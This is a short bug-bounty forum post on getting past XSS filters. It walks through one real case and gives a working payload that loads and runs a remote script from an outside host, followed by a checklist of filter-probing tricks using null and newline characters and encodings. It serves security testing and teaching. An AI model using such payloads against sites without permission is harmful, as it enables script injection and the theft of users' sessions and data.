Bypassing filters for XSS
Posted in BugBounty Discussion by @zseano
Bypassing XSS filters is fun because you literally just have to work out what they're filtering and how, then start testing charactes in certain places and seeing what it does. Mess enough and usually you can create a cool filter bypass.
I had one case where I needed to use </script><script src=//mysite.com>, except <script was replaced to null. </script> was working, so I thought ok, what about using a null character (such as %0d, %0a, %09, %00). </script><%0dscript src= worked, except using https://, // would also result in null. However I noticed if we use \, it'll automatically replace it to \, which browsers will interpret as //.
The end result? </script><%0dscript%20src=\mysite.com/yay.js> - and it executed.
When testing for bypassing filters test as much as you possibly can. When testing for bypassing filters this is usually a good checklist (and this can apply to anything, think file extension handling :D)
- Does <xss> work? Are they just filtering for certain HTML tags?
- Are they look for complete HTML tags? Does <xss work?
- How do they handle null & newline characters such as %00, %09, %0a, %0d, \n\n /r/n, even hashtags and question marks (try encoding them too!.. especially in file extensions. This has lead to really weird behaviour on some sites in the past for me)
When hacking it's good to try visualise what they may be doing serverside when testing for bypassing filters. Usually in most cases if a site has custom-designed a filter to prevent "something", there will be a way to break it. :P Try everything you can (even emojis!).